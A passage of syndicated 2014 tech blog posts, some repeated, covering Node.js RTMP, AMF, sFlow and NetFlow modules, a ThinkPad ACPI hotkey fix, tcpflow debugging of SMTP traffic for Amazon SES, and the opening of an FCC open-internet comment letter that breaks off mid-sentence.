RTMP Api for Node.JS to ease the implementation of RTMP servers and clients

Post Syndicated from Delian Delchev original http://deliantech.blogspot.com/2014/06/rtmp-api-for-nodejs-to-ease.html

Hello to all,As I mentioned before, I needed to implement a RTMP streaming server in Node.JS. All of the available modules for implementation of RTMP in Node’s NPM repository were incomplete, incorrect or unusable. Not only that but the librtmp used by libav tools like avconv and avplay was incorrect and incomplete.The same with most of the implementation I’ve checked (covering perl, python, others). I’ve tried to fix few of them but at the end I had to write one on my own.This is my library of RTMP related tools and API for Node.JS. It is named node-rtmpapi and is available in the npm repository. Also you can get it here – https://github.com/delian/node-rtmpapiIt works well for me, and it has been tested with MistServer, OrbanEncoders and librtmp (from libav).That does not mean it will work for you, though :)RTMP is quite badly documented protocol and extremely badly implemented.During my tests I have seen issues like crash of libraries (including the Adobe’s original one) if the upper layer commands has been sent in unexpected order (although this is allowed by the RTMP protocol and the order of the upper layer commands is not documented at all). Also I have seen (within Adobe’s rtmp library) incorrect implementation of the setPeerBandwidth command.Generally, each different RTMP implementation is on its own and the only way to make it work is to adjust and tune it according to the software you communicate with.Therefore I separated my code in utils that allows me to write my own RTMP server relatively easy and to adjust it according to my needs.The current library supports only TCP as a transport (although TLS and HTTP/HTTPS is easy to be implemented, I haven’t focused on it yet).It provides separate code that implements streaming (readQueue), the chunk layer of the protocol (rtmpChunk), the upper layer messaging (assembling and disassembling of message over chunks, rtmpMessage), stream processing (rtmpStream) and basic server implementation without the business logic (rtmpServer).Simplified documentation is provided at the git-hub repository.The current library uses callbacks for each upper layer command it receives. I am planning to migrate the code to use node streams and to trigger events per command, instead of callbacks. This will extremely simplify the usage and the understanding of the library for a node programmer. However, this is the future and in order to preserve compatibility, I will probably name it something different (like node-streams-rtmpapi)

AMF0/3 encoding/decoding in Node.JS

Post Syndicated from Delian Delchev original http://deliantech.blogspot.com/2014/06/amf03-encodingdecoding-in-nodejs.html

I am writing my own RTMP restreamer (RTMP is Adobe’s dying streaming protocol widely used with Flash) in Node.JS.Although, there are quite of few RTMP modules, no one is complete, nor operates with Node.JS buffers, nor support fully ether AMF0 or AMF3 encoding and decoding.So I had to write one on my own.The first module is the AMF0/AMF3 utils that allow me to encode or decode AMF data. AMF is a binary encoding used in Adobe’s protocols, very similar to BER (used in ITU’s protocols) but supporting complex objects. In general the goal of AMF is to encode ActiveScript objects into binary. As ActiveScript is a language belonging to the JavaScript’s familly, basically the ActiveScript’s objects are javascript objects (with the exception of some simplified arrays).My module is named node-amfutils and is now available in the public NPM repository as well as here https://github.com/delian/node-amfutilsIt is not fully completed nor very well tested as I have very limited environment to do the tests. However, it works for me and provides the best AMF0 and AMF3 support currently available for Node.JS – It can encode/decode all the objects defined in both AMF0 and AMF3 (the other AMF modules in the npm repository supports partial AMF0 or partial AMF3)It uses Node.JS buffers (it is not necessary to do string to buffer to string conversion, as you have to do with the other modules)It is easy to use this module. You just have to do something like this:var amfUtils = require(‘node-amfutils’);var buffer = amfUtils.amf0Encode([{ a: “xxx”},b: null]);

AMF0/3 encoding/decoding in Node.JS

Post Syndicated from Delian Delchev original http://deliantech.blogspot.com/2014/06/amf03-encodingdecoding-in-nodejs.html

I am writing my own RTMP restreamer (RTMP is Adobe’s dying streaming protocol widely used with Flash) in Node.JS.Although, there are quite of few RTMP modules, no one is complete, nor operates with Node.JS buffers, nor support fully ether AMF0 or AMF3 encoding and decoding.So I had to write one on my own.The first module is the AMF0/AMF3 utils that allow me to encode or decode AMF data. AMF is a binary encoding used in Adobe’s protocols, very similar to BER (used in ITU’s protocols) but supporting complex objects. In general the goal of AMF is to encode ActiveScript objects into binary. As ActiveScript is a language belonging to the JavaScript’s familly, basically the ActiveScript’s objects are javascript objects (with the exception of some simplified arrays).My module is named node-amfutils and is now available in the public NPM repository as well as here https://github.com/delian/node-amfutilsIt is not fully completed nor very well tested as I have very limited environment to do the tests. However, it works for me and provides the best AMF0 and AMF3 support currently available for Node.JS – It can encode/decode all the objects defined in both AMF0 and AMF3 (the other AMF modules in the npm repository supports partial AMF0 or partial AMF3)It uses Node.JS buffers (it is not necessary to do string to buffer to string conversion, as you have to do with the other modules)It is easy to use this module. You just have to do something like this:var amfUtils = require(‘node-amfutils’);var buffer = amfUtils.amf0Encode([{ a: “xxx”},b: null]);

Resolving Weirdness In Thinkpad T60 Hotkeys

Post Syndicated from Bradley M. Kuhn original http://ebb.org/bkuhn/blog/2014/06/08/volume-hotkeys-thinkpad-t60.html

In keeping with my tendency to write a blog post about any technical issue
I find that takes me more than five minutes to figure out when searching
the Internet, I include below a resolution to a problem that took me,
embarrassingly, nearly two and half hours across two different tries to
figure out.

The problem appeared when I took Debian 7 (wheezy) laptop hard drive out
of an Lenovo Thinkpad T61 that I was using that failed and into Lenovo
Thinkpad T60. (I’ve been trying to switch fully to the T60 for everything
because it is supported by Coreboot.)

image of a Lenovo T60 Thinkpad keyboard with volume buttons circled in purple.

When I switched, everything was working fine, except the volume buttons on
the Thinkpad T60 (those three buttons in the top left hand corner of the
keyboard, shown circled in purple in the image on the right) no longer did
what I expected. I expected they would ultimately control PulseAudio volume,
which does the equivalent of pactl set-sink-mute 0 0 and
appropriate pactl set-sink-volume 0 commands for my sound card.
I noticed this because when PulseAudio is running, and you type those
commands on the command line, all functions properly with the
volume, and, when running under X, I see the popup windows coming
from my desktop environment showing the volume changes. So, I knew nothing
was wrong with the sound configuration when I switched the hard drive to a
new machine, since the command line tools worked and did the right things.
Somehow, the buttons weren’t sending the same commands in whatever manner
they were used to.

I assumed at first that the buttons simply generated X events. It turns
out they do, but the story there is a bit more complex. When I
ran xev I saw those buttons did not, in fact, generate any X
events. So, that makes it clear that nothing from X windows
“up” (i.e, to the desktop software) had anything to do with the
situation.

So, I first proceed to research whether these volume keys were supposed to
generate X events. I discovered that there were indeed XF86VolumeUp,
XF86VolumeDown and XF86VolumeMute key events (I’d seen those before, in
fact, doing similar research years ago). However, the advice online was
highly conflicting whether or not the best way to solve this is to have
them generate X events. Most of the discussions I found assumed the keys
were already generating X events and had advice about how to bind those
keys to scripts or to your desktop setup of
choice0.

I found various old documentation about the thinkpad_acpi
daemon, which I quickly found quickly was out of date since long ago that
had been incorporated into Linux’s ACPI directly and didn’t require
additional daemons. This led me to just begin poking around about how the
ACPI subsystem for ACPI keys worked.

I quickly found the xev equivalent for
acpi: acpi_listen. This was the breakthrough I needed to
solve this problem. I ran acpi_listen and discovered that
while other Thinkpad key sequences, such as Fn-Home (to
increase brightness), generated output like:

video/brightnessup BRTUP 00000086 00000000 K
video/brightnessup BRTUP 00000086 00000000

but the volume up, down, and mute keys generated no output. Therefore, it’s
pretty clear at this point that the problem is something related to
configuration of ACPI in some way. I had a feeling this would be hard to
find a solution for.

That’s when I started poking around in /proc, and found
that /proc/acpi/ibm/volume was changing each time I
hit a these keys. So, Linux clearly was receiving notice that these keys
were pressed. So, why wasn’t the acpi subsystem notifying anything else,
including whatever interface acpi_listen talks to?

Well, this was a hard one to find an answer to. I have to admit that I
found the answer through pure serendipity. I had already
loaded this
old bug report for an GNU/Linux distribution waning in popularity
and
found that someone resolved the ticket with the command:

cp /sys/devices/platform/thinkpad_acpi/hotkey_all_mask /sys/devices/platform/thinkpad_acpi/hotkey_mask

This command:

# cat /sys/devices/platform/thinkpad_acpi/hotkey_all_mask /sys/devices/platform/thinkpad_acpi/hotkey_mask
0x00ffffff
0x008dffff

quickly showed that that the masks didn’t match. So I did:

# cat /sys/devices/platform/thinkpad_acpi/hotkey_all_mask > /sys/devices/platform/thinkpad_acpi/hotkey_mask

and that single change caused the buttons to work again as expected,
including causing the popup notifications of volume changes and the like.

Additional searching
show this
hotkey issue is documented in Linux, in its Thinkpad ACPI
documentation
, which states:

The hot key bit mask allows some control over which hot keys generate events.
If a key is “masked” (bit set to 0 in the mask), the firmware will handle it.
If it is “unmasked”, it signals the firmware that thinkpad-acpi would prefer
to handle it, if the firmware would be so kind to allow it (and it often
doesn’t!).

I note that on my system, running the command the document recommends to
reset to defaults yields me back to the wrong state:

# cat /proc/acpi/ibm/hotkey
status: enabled
mask: 0x00ffffff
commands: enable, disable, reset, <mask>
# echo reset > /proc/acpi/ibm/hotkey
# cat /proc/acpi/ibm/hotkey
status: enabled
mask: 0x008dffff
commands: enable, disable, reset, <mask>
# echo 0xffffffff > /proc/acpi/ibm/hotkey

So, I added that last command above to restore it to enabled Linux’s control
of all the ACPI hot keys, which I suspect is what I want. I’ll update the
post if doing that causes other problems that I hadn’t seen before. I’ll
also update the post to note whether this setting is saved over reboots, as
I haven’t rebooted the machine since I did this. 🙂

0Interestingly, as has
happened to me often recently, much of the most useful information that I
find about any complex topic regarding how things work in modern GNU/Linux
distributions is found on the Arch or Crunchbang online fora and wikis. It’s
quite interesting to me that these two distributions appear to be the primary
place where the types of information that every distribution once needed to
provide are kept. Their wikis are becoming the canonical references of how a
distribution is constructed, since much of the information found therein
applies to all distributions, but distributions like Fedora and Debian
attempt to make it less complex for the users to change the
configuration.

SFlow version 5 module for Node.JS

Post Syndicated from Delian Delchev original http://deliantech.blogspot.com/2014/06/sflow-version-5-module-for-nodejs.html

Unfortunately, as with NetFlow Version 9, SFlow version 5 (and SFlow in general) has not been very well supported by the Node.JS community up to now.I needed modern SFlow version 5 compatible module, so I had to write one on my own.Please welcome the newest module in Node.JS’s NPM that can decode SFlow version 5 packets and be used in the development of simple and easy SFlow collectors! The module is named node-sflow and you can look at its code here https://github.com/delian/node-sflowPlease be careful, as in the next days I may change the object structure of the flow representation to simplify it! Any tests and experiments are welcome.The sflow module is available in the public npm (npm install node-sflow) repository.To use it you have to do:var Collector = require(‘node-sflow’);Collector(function(flow) { console.log(flow);}).listen(3000); In general SFlow is much more powerful protocol than NetFlow, even it its latest version (version 9). It can represent more complex counters, report about errors, drops, full packet headers (not only their properties), collect information from interfaces, flows, vlans, and combine them in a much more complex reports.However, the SFlow support in the agents – the networking equipment is usually extremely simplified – far from the richness and complexity the SFlow protocol may provide. Most of the vendors just do packet sampling and send them over SFlow as raw packet/frame header with an associated unclear counter.In case of you having the issue specified above, this module cannot help much. You will just get the raw packet header (usually Ethernet + IP header) as a Node.JS buffer and then you have to decode it on your own. I want to keep the node-sflow module simple and I don’t plan to decode raw packet headers there as this feature is not a feature of the SFlow itself. If you need to decode the raw packet header I can suggest one easy solution for you. You can use the pcap module from the npm repository and decode the raw header with it:var Collector = require(‘node-sflow’);var pcap = require(‘pcap’);Collector(function(flow) { if (flow && flow.flow.records && flow.flow.records.length>0) { flow.flow.records.forEach(function(n) { if (n.type == ‘raw’) { if (n.protocolText == ‘ethernet’) { try { var pkt = pcap.decode.ethernet(n.header, 0); if (pkt.ethertype!=2048) return; console.log(‘VLAN’,pkt.vlan?pkt.vlan.id:’none’,’Packet’,pkt.ip.protocol_name,pkt.ip.saddr,’:’,pkt.ip.tcp?pkt.ip.tcp.sport:pkt.ip.udp.sport,’->’,pkt.ip.daddr,’:’,pkt.ip.tcp?pkt.ip.tcp.dport:pkt.ip.udp.dport) } catch(e) { console.log(e); } } } }); }}).listen(3000);

SFlow version 5 module for Node.JS

Post Syndicated from Delian Delchev original http://deliantech.blogspot.com/2014/06/sflow-version-5-module-for-nodejs.html

Unfortunately, as with NetFlow Version 9, SFlow version 5 (and SFlow in general) has not been very well supported by the Node.JS community up to now.I needed modern SFlow version 5 compatible module, so I had to write one on my own.Please welcome the newest module in Node.JS’s NPM that can decode SFlow version 5 packets and be used in the development of simple and easy SFlow collectors! The module is named node-sflow and you can look at its code here https://github.com/delian/node-sflowPlease be careful, as in the next days I may change the object structure of the flow representation to simplify it! Any tests and experiments are welcome.The sflow module is available in the public npm (npm install node-sflow) repository.To use it you have to do:var Collector = require(‘node-sflow’);Collector(function(flow) { console.log(flow);}).listen(3000); In general SFlow is much more powerful protocol than NetFlow, even it its latest version (version 9). It can represent more complex counters, report about errors, drops, full packet headers (not only their properties), collect information from interfaces, flows, vlans, and combine them in a much more complex reports.However, the SFlow support in the agents – the networking equipment is usually extremely simplified – far from the richness and complexity the SFlow protocol may provide. Most of the vendors just do packet sampling and send them over SFlow as raw packet/frame header with an associated unclear counter.In case of you having the issue specified above, this module cannot help much. You will just get the raw packet header (usually Ethernet + IP header) as a Node.JS buffer and then you have to decode it on your own. I want to keep the node-sflow module simple and I don’t plan to decode raw packet headers there as this feature is not a feature of the SFlow itself. If you need to decode the raw packet header I can suggest one easy solution for you. You can use the pcap module from the npm repository and decode the raw header with it:var Collector = require(‘node-sflow’);var pcap = require(‘pcap’);Collector(function(flow) { if (flow && flow.flow.records && flow.flow.records.length>0) { flow.flow.records.forEach(function(n) { if (n.type == ‘raw’) { if (n.protocolText == ‘ethernet’) { try { var pkt = pcap.decode.ethernet(n.header, 0); if (pkt.ethertype!=2048) return; console.log(‘VLAN’,pkt.vlan?pkt.vlan.id:’none’,’Packet’,pkt.ip.protocol_name,pkt.ip.saddr,’:’,pkt.ip.tcp?pkt.ip.tcp.sport:pkt.ip.udp.sport,’->’,pkt.ip.daddr,’:’,pkt.ip.tcp?pkt.ip.tcp.dport:pkt.ip.udp.dport) } catch(e) { console.log(e); } } } }); }}).listen(3000);

NetFlow Version 9 module for Node.JS

Post Syndicated from Delian Delchev original http://deliantech.blogspot.com/2014/06/netflow-version-9-library-for-nodejs.html

I am writing some small automation scripts to help me in my work from time to time. I needed a NetFlow collector and I wanted to write it in javascript for Node.JS because of my general desire to support this platform enabling JavaScript language in generic application programming and system programming.Node.JS is having probably the best in the market package manager (for a framework) named npm. It is extremely easy to install and maintain a package, to keep dependencies or even “scoping” it on a local installation avoiding the need of having root permissions for your machine. This is great. However, most of the packages registered in the npm database are junk. A lot of code is left without any development or having generic bugs or is simply incomplete. I am strongly suggesting to the nodejs community to introduce a package statuses based on public voting marking each module in “production”, “stable”, “unstable”, “development” quality and to set by default the npm search searching in “production” and “stable”. Actually, npm already have a way to do that, but leaves the marking decision to the package owner.Anyway, I was looking for Netflow v9 module that could allow me to capture netflow traffic with this version. Unfortunately the only module supporting NetFlow was node-Netflowd. It does support Netflow version 5 but has a lot of issues with NetFlow v9, to say at least. After few hours testing it at the end I decided to write one on my own.So please welcome the newest Node.JS module that support collecting and decoding of NetFlow version 9 flows named “node-netflowv9“This module supports only Netflow v9 and has to be used only for it.The library is very very simple, having about 250 lines of code and supports all of the publicly defined Cisco properties, including variable length numbers and IPv6 addressing.It is very easy to use it. You just have to do something like this:var Collector = require(‘node-netflowv9’);Collector(function(flow) { console.log(flow);}).listen(3000);The flow will be represented in JavaScript object in a format very similar to this:{ header: { version: 9, count: 25, uptime: 2452864139, seconds: 1401951592, sequence: 254138992, sourceId: 2081 }, rinfo: { address: ‘15.21.21.13’, family: ‘IPv4’, port: 29471, size: 1452 }, flow: { in_pkts: 3, in_bytes: 144, ipv4_src_addr: ‘15.23.23.37’, ipv4_dst_addr: ‘16.16.19.165’, input_snmp: 27, output_snmp: 16, last_switched: 2452753808, first_switched: 2452744429, l4_src_port: 61538, l4_dst_port: 62348, out_as: 0, in_as: 0, bgp_ipv4_next_hop: ‘16.16.1.1’, src_mask: 32, dst_mask: 24, protocol: 17, tcp_flags: 0, src_tos: 0, direction: 1, fw_status: 64, flow_sampler_id: 2 } }There will be a callback per each flow, not only one for each packet. If the packet contain 10 flows, there will be 10 callbacks containing each different flow. This simplifies the Collector code as you don’t have to loop on your own trough the flows.Keep in mind that Netflow v9 does not have a fixed structure (in difference to NetFlow v1/v5) and it is based on templates. It depends on the platform which properties it will set in the temlpates and what will be the order of it. You always have to test you netflow v9 collector configuration. This library is trying to simplify it as much as possible, but it cannot compensate it.My general feeling is that S-Flow is much better defined and much more powerful than NetFlow in general. NetFlow v9 is the closest Cisco product that can provide (but is not necessary providing) similar functionality. However, the behavior and the functionality of NetFlow v9 differ between the different Cisco products. On some – you can define aggregations and templates on your own. On some (IOS XR) you can’t and you use NetFlow v9 as a replacement to NetFlow v5. On some other Cisco products (Nexus 7000) there is no support of NetFlow at all, but there is S-Flow :)In all of the Cisco products, the interfaces are sent as SNMP interface index. However, this index may not be persistent (between device reboots) and to associate it with an interface name you have to implement cached SNMP GET to the interface table OID on your own.Because of the impressive performance of the modern JavaScript this little module performs really fast in Node.JS. I have a complex collector implemented with configurable and evaluated aggregations that uses on average less than 2% CPU on a virtual machine, processing about 100 packets with flows and about 1000 flow statistics per second.Update:http://deliantech.blogspot.com/2014/06/new-improved-version-of-node-netflowv9.html

NetFlow Version 9 module for Node.JS

Post Syndicated from Delian Delchev original http://deliantech.blogspot.com/2014/06/netflow-version-9-library-for-nodejs.html

I am writing some small automation scripts to help me in my work from time to time. I needed a NetFlow collector and I wanted to write it in javascript for Node.JS because of my general desire to support this platform enabling JavaScript language in generic application programming and system programming.Node.JS is having probably the best in the market package manager (for a framework) named npm. It is extremely easy to install and maintain a package, to keep dependencies or even “scoping” it on a local installation avoiding the need of having root permissions for your machine. This is great. However, most of the packages registered in the npm database are junk. A lot of code is left without any development or having generic bugs or is simply incomplete. I am strongly suggesting to the nodejs community to introduce a package statuses based on public voting marking each module in “production”, “stable”, “unstable”, “development” quality and to set by default the npm search searching in “production” and “stable”. Actually, npm already have a way to do that, but leaves the marking decision to the package owner.Anyway, I was looking for Netflow v9 module that could allow me to capture netflow traffic with this version. Unfortunately the only module supporting NetFlow was node-Netflowd. It does support Netflow version 5 but has a lot of issues with NetFlow v9, to say at least. After few hours testing it at the end I decided to write one on my own.So please welcome the newest Node.JS module that support collecting and decoding of NetFlow version 9 flows named “node-netflowv9“This module supports only Netflow v9 and has to be used only for it.The library is very very simple, having about 250 lines of code and supports all of the publicly defined Cisco properties, including variable length numbers and IPv6 addressing.It is very easy to use it. You just have to do something like this:var Collector = require(‘node-netflowv9’);Collector(function(flow) { console.log(flow);}).listen(3000);The flow will be represented in JavaScript object in a format very similar to this:{ header: { version: 9, count: 25, uptime: 2452864139, seconds: 1401951592, sequence: 254138992, sourceId: 2081 }, rinfo: { address: ‘15.21.21.13’, family: ‘IPv4’, port: 29471, size: 1452 }, flow: { in_pkts: 3, in_bytes: 144, ipv4_src_addr: ‘15.23.23.37’, ipv4_dst_addr: ‘16.16.19.165’, input_snmp: 27, output_snmp: 16, last_switched: 2452753808, first_switched: 2452744429, l4_src_port: 61538, l4_dst_port: 62348, out_as: 0, in_as: 0, bgp_ipv4_next_hop: ‘16.16.1.1’, src_mask: 32, dst_mask: 24, protocol: 17, tcp_flags: 0, src_tos: 0, direction: 1, fw_status: 64, flow_sampler_id: 2 } }There will be a callback per each flow, not only one for each packet. If the packet contain 10 flows, there will be 10 callbacks containing each different flow. This simplifies the Collector code as you don’t have to loop on your own trough the flows.Keep in mind that Netflow v9 does not have a fixed structure (in difference to NetFlow v1/v5) and it is based on templates. It depends on the platform which properties it will set in the temlpates and what will be the order of it. You always have to test you netflow v9 collector configuration. This library is trying to simplify it as much as possible, but it cannot compensate it.My general feeling is that S-Flow is much better defined and much more powerful than NetFlow in general. NetFlow v9 is the closest Cisco product that can provide (but is not necessary providing) similar functionality. However, the behavior and the functionality of NetFlow v9 differ between the different Cisco products. On some – you can define aggregations and templates on your own. On some (IOS XR) you can’t and you use NetFlow v9 as a replacement to NetFlow v5. On some other Cisco products (Nexus 7000) there is no support of NetFlow at all, but there is S-Flow :)In all of the Cisco products, the interfaces are sent as SNMP interface index. However, this index may not be persistent (between device reboots) and to associate it with an interface name you have to implement cached SNMP GET to the interface table OID on your own.Because of the impressive performance of the modern JavaScript this little module performs really fast in Node.JS. I have a complex collector implemented with configurable and evaluated aggregations that uses on average less than 2% CPU on a virtual machine, processing about 100 packets with flows and about 1000 flow statistics per second.Update:http://deliantech.blogspot.com/2014/06/new-improved-version-of-node-netflowv9.html

My first post

Post Syndicated from Delian Delchev original http://deliantech.blogspot.com/2014/06/my-first-post.html

Although, I have blog for a very long time, it is in Bulgarian and I never had written anything in English publicly before.So this is the first post in my first (public) blog in English.English is not my native language. Please be gentle to my language and style mistakes and note them so I can learn.The goal of this little blog is mainly to present my opinion about some IT tech stuff as gadgets and programming. I am a busy man and I usually have no time to write. Be prepared for very long gaps of silence here 🙂

My first post

Post Syndicated from Delian Delchev original http://deliantech.blogspot.com/2014/06/my-first-post.html

Although, I have blog for a very long time, it is in Bulgarian and I never had written anything in English publicly before.So this is the first post in my first (public) blog in English.English is not my native language. Please be gentle to my language and style mistakes and note them so I can learn.The goal of this little blog is mainly to present my opinion about some IT tech stuff as gadgets and programming. I am a busy man and I usually have no time to write. Be prepared for very long gaps of silence here 🙂

Debugging SMTP Conversations Part 2: Capturing a Live Conversation

Post Syndicated from Elton Pinto original http://sesblog.amazon.com/post/TxSXFM3DZJD6VF/Debugging-SMTP-Conversations-Part-2-Capturing-a-Live-Conversation

If your email-sending application has problems communicating with the Amazon SES SMTP interface (or your customers are having problems connecting to your SMTP server that proxies requests to Amazon SES), you’ll first probably check your application logs to see what’s going on. If you’re not able to find a smoking gun in your application logs though, what else can you do? Last week, we went over the basics of SMTP conversations and today we’ll explore how you can debug deeper than the application logs.

You may consider setting up an application layer wire log that shows all of the messages you’re sending and receiving, but one unlucky day you may find yourself with a lower-level issue on your hands. It could be a problem in the link between you and your ISP, between your ISP and the next hop, between your application and your kernel, or any number of other things.

A great way to get more data to help you figure out what’s going on is to go lower in the networking stack to the transport layer. Two well-known, freely available tools that can help you with this are TCP Flow and TCP Dump. TCP Flow is a great next step when you just want to see plaintext data packets in a human-readable format, while TCP Dump is more adept at giving you the kitchen sink so to speak (i.e., all the TCP packets in a variety of formats). In today’s post we’ll talk about TCP Flow. Since many of our customers use EC2 Linux-backed instances, we’ll focus on how to use TCP Flow from Linux.

Installing TCP Flow

TCP Flow lets you get your feet wet in transport layer debugging without overwhelming you with data. You can get the latest version using git clone:

sudo yum -y install git

mkdir ~/tcpflow && cd ~/tcpflow

git clone –recursive git://github.com/simsong/tcpflow.git

Currently, the latest version is 1.3, and the steps in the README work on a standard EC2 with a 64-bit AMI (tested on ami-bba18dd2 and ami-2f726546), though you may also need to yum install openssl-devel. If you encounter any problems doing this you can also try downloading the latest version from the GitHub site, though the install instructions may be in the NEWS file instead of README.

If you can run sudo /usr/local/bin/tcpflow -h and see the usage information, then the install was a success and you’re ready to boogie. Otherwise, double check the console output to see if some step failed. You can get more detailed usage information from man tcpflow.

Using TCP Flow

As you can see in the TCP Flow usage information, there are a lot of options to help you toggle what you’re looking for; these can be overwhelming at first glance. Let’s look at a reasonable set of options to start you off on the right track:

sudo /usr/local/bin/tcpflow -i any -g -FT -c port 25 > ~/tcpflow_out

The -i option specifies what network interface to listen on (‘any’ is a reasonable default to start you off)

The -g option was renamed in a recent version (it used to be -J), but it’s just to give you information in different colors, which you’ll soon see is nice to have.

The -c option prints to the console instead of creating individual files. By default, TCP Flow creates two files for each TCP conversation – one file for the packets coming in and one for the packets being transmitted. The -c option can be a useful alternative because the console interleaves the input and output packets.

The -F option is all about the format of the output files, and the ‘T’ prepends each file name with an ISO-8601 timestamp. If you output to the console using the -c option, it will still prepend all the lines of your conversation with the timestamp to the millisecond even though you’re not creating any files.

The “port 25” bit is a filtering expression, as defined in the pcap filter manual. Depending on what your instance is up to, listening to all traffic can be overwhelming so it’s a good idea to filter on what you care about. You can filter on dozens of things including the source or destination host/port, port ranges, and protocol.

Once you have your TCP Flow output, you can look at it with the color coding preserved (there’s one color for packets sent and one for packets received) using less:

less -R ~/tcpflow_out

You can pipe grep, too, if you’re trying to isolate an incident via a specific source/destination port or address:

grep 1.2.3.4 ~/tcpflow_out | less –R

A TCP Flow Example

If you establish a STARTTLS connection with the Amazon SES SMTP endpoint on port 25 and you use the above TCP Flow command, the output from less might look something like this:

You’ll notice that the output is actually readable – there’s a timestamp for each packet in ISO 8601 format followed by the source IP and port of the packet and then the destination IP and port of the packet. You don’t get TCP packet headers or SYN/ACK packets or any of those details, but maybe your problem doesn’t require that much information.

From this point on, however, the conversation will look like gibberish since it’s just a TLS handshake and then all the packets are encrypted. If you use TLS wrapper mode, all the packets will look like gibberish. The nature of TLS makes it tough to decrypt these packets, but TCP Dump and Wireshark will allow us to decrypt at least some of the handshake (we’ll go over these in the next blog post of this series). TCP Flow is still useful on its own, though, if you’re receiving plaintext SMTP conversations from your customers and then proxying messages to Amazon SES for final delivery.

One last thing to note on TCP Flow – you can use the -r option to read in a TCP Dump capture and make it look readable for you.

We hope that you’ve found these tips handy, but the best is yet to come – in the next post of this series we’ll show you how to milk your TCP connections for all the data they’ve got. Thanks again for being a customer!

Debugging SMTP Conversations Part 2: Capturing a Live Conversation

Post Syndicated from Elton Pinto original http://sesblog.amazon.com/post/TxSXFM3DZJD6VF/Debugging-SMTP-Conversations-Part-2-Capturing-a-Live-Conversation

If your email-sending application has problems communicating with the Amazon SES SMTP interface (or your customers are having problems connecting to your SMTP server that proxies requests to Amazon SES), you’ll first probably check your application logs to see what’s going on. If you’re not able to find a smoking gun in your application logs though, what else can you do? Last week, we went over the basics of SMTP conversations and today we’ll explore how you can debug deeper than the application logs.

You may consider setting up an application layer wire log that shows all of the messages you’re sending and receiving, but one unlucky day you may find yourself with a lower-level issue on your hands. It could be a problem in the link between you and your ISP, between your ISP and the next hop, between your application and your kernel, or any number of other things.

A great way to get more data to help you figure out what’s going on is to go lower in the networking stack to the transport layer. Two well-known, freely available tools that can help you with this are TCP Flow and TCP Dump. TCP Flow is a great next step when you just want to see plaintext data packets in a human-readable format, while TCP Dump is more adept at giving you the kitchen sink so to speak (i.e., all the TCP packets in a variety of formats). In today’s post we’ll talk about TCP Flow. Since many of our customers use EC2 Linux-backed instances, we’ll focus on how to use TCP Flow from Linux.

Installing TCP Flow

TCP Flow lets you get your feet wet in transport layer debugging without overwhelming you with data. You can get the latest version using git clone:

sudo yum -y install git

mkdir ~/tcpflow && cd ~/tcpflow

git clone –recursive git://github.com/simsong/tcpflow.git

Currently, the latest version is 1.3, and the steps in the README work on a standard EC2 with a 64-bit AMI (tested on ami-bba18dd2 and ami-2f726546), though you may also need to yum install openssl-devel. If you encounter any problems doing this you can also try downloading the latest version from the GitHub site, though the install instructions may be in the NEWS file instead of README.

If you can run sudo /usr/local/bin/tcpflow -h and see the usage information, then the install was a success and you’re ready to boogie. Otherwise, double check the console output to see if some step failed. You can get more detailed usage information from man tcpflow.

Using TCP Flow

As you can see in the TCP Flow usage information, there are a lot of options to help you toggle what you’re looking for; these can be overwhelming at first glance. Let’s look at a reasonable set of options to start you off on the right track:

sudo /usr/local/bin/tcpflow -i any -g -FT -c port 25 > ~/tcpflow_out

The -i option specifies what network interface to listen on (‘any’ is a reasonable default to start you off)

The -g option was renamed in a recent version (it used to be -J), but it’s just to give you information in different colors, which you’ll soon see is nice to have.

The -c option prints to the console instead of creating individual files. By default, TCP Flow creates two files for each TCP conversation – one file for the packets coming in and one for the packets being transmitted. The -c option can be a useful alternative because the console interleaves the input and output packets.

The -F option is all about the format of the output files, and the ‘T’ prepends each file name with an ISO-8601 timestamp. If you output to the console using the -c option, it will still prepend all the lines of your conversation with the timestamp to the millisecond even though you’re not creating any files.

The “port 25” bit is a filtering expression, as defined in the pcap filter manual. Depending on what your instance is up to, listening to all traffic can be overwhelming so it’s a good idea to filter on what you care about. You can filter on dozens of things including the source or destination host/port, port ranges, and protocol.

Once you have your TCP Flow output, you can look at it with the color coding preserved (there’s one color for packets sent and one for packets received) using less:

less -R ~/tcpflow_out

You can pipe grep, too, if you’re trying to isolate an incident via a specific source/destination port or address:

grep 1.2.3.4 ~/tcpflow_out | less –R

A TCP Flow Example

If you establish a STARTTLS connection with the Amazon SES SMTP endpoint on port 25 and you use the above TCP Flow command, the output from less might look something like this:

You’ll notice that the output is actually readable – there’s a timestamp for each packet in ISO 8601 format followed by the source IP and port of the packet and then the destination IP and port of the packet. You don’t get TCP packet headers or SYN/ACK packets or any of those details, but maybe your problem doesn’t require that much information.

From this point on, however, the conversation will look like gibberish since it’s just a TLS handshake and then all the packets are encrypted. If you use TLS wrapper mode, all the packets will look like gibberish. The nature of TLS makes it tough to decrypt these packets, but TCP Dump and Wireshark will allow us to decrypt at least some of the handshake (we’ll go over these in the next blog post of this series). TCP Flow is still useful on its own, though, if you’re receiving plaintext SMTP conversations from your customers and then proxying messages to Amazon SES for final delivery.

One last thing to note on TCP Flow – you can use the -r option to read in a TCP Dump capture and make it look readable for you.

We hope that you’ve found these tips handy, but the best is yet to come – in the next post of this series we’ll show you how to milk your TCP connections for all the data they’ve got. Thanks again for being a customer!

Be Sure to Comment on FCC’s NPRM 14-28

Post Syndicated from Bradley M. Kuhn original http://ebb.org/bkuhn/blog/2014/06/04/fcc-14-28.html

I remind everyone today, particularly USA Citizens, to be sure to comment
on
the FCC’s
Notice of Proposed Rulemaking (NPRM) 14-28
. They even did a sane thing
and provided
an email address you can write to rather than using their poorly designed
web forums
,
but PC
Magazine published relatively complete instructions for other ways
.
The deadline isn’t for a while yet, but it’s worth getting it done so you
don’t forget. Below is my letter in case anyone is interested.

Dear FCC Commissioners,

I am writing in response to NPRM 14-28 — your request for comments regarding
the “Open Internet”.

I am a trained computer scientist and I work in the technology industry.
(I’m a software developer and software freedom activist.) I have subscribed
to home network services since 1989, starting with the Prodigy service, and
switching to Internet service in 1991. Initially, I used a PSTN single-pair
modem and eventually upgraded to DSL in 1999. I still have a DSL line, but
it’s sadly not much faster than the one I had in 1999, and I explain below
why.

In fact, I’ve watched the situation get progressively worse, not better,
since the Telecommunications Act of 1996. While my download speeds are
little bit faster than they were in the late 1990s, I now pay
substantially more for only small increases of upload speeds, even in a
major urban markets. In short, it’s become increasingly more difficult
to actually purchase true Internet connectivity service anywhere in the
USA. But first, let me explain what I mean by “true Internet
connectivity”.

The Internet was created as a peer-to-peer medium where all nodes were
